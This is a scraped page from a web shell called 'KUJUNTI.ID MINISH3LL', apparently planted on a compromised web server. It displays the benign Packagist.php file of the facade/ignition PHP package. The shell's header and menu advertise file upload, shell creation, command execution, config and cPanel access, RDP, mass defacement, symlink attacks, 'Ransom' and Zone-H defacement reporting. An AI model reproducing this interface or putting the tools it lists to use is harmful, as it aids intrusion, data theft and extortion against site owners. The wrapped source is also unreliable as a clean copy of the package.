KUJUNTI.ID MINISH3LL
Path : /var/www/html/phkaymedia/vendor/facade/ignition/src/Support/Packagist/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/phkaymedia/vendor/facade/ignition/src/Support/Packagist/Packagist.php


<?php

namespace Facade\Ignition\Support\Packagist;

class Packagist
{
    /**
     * @param string $className
     *
     * @return \Facade\Ignition\Support\Packagist\Package[]
     */
    public static function findPackagesForClassName(string $className): array
    {
        $parts = explode('\\', $className);
        $queryParts = array_splice($parts, 0, 2);

        $url = 'https://packagist.org/search.json?q='.implode(' ', $queryParts);

        try {
            $packages = json_decode(file_get_contents($url));
        } catch (\Exception $e) {
            return [];
        }

        return array_map(function ($packageProperties) {
            return new Package((array) $packageProperties);
        }, $packages->results);
    }
}

© KUJUNTI.ID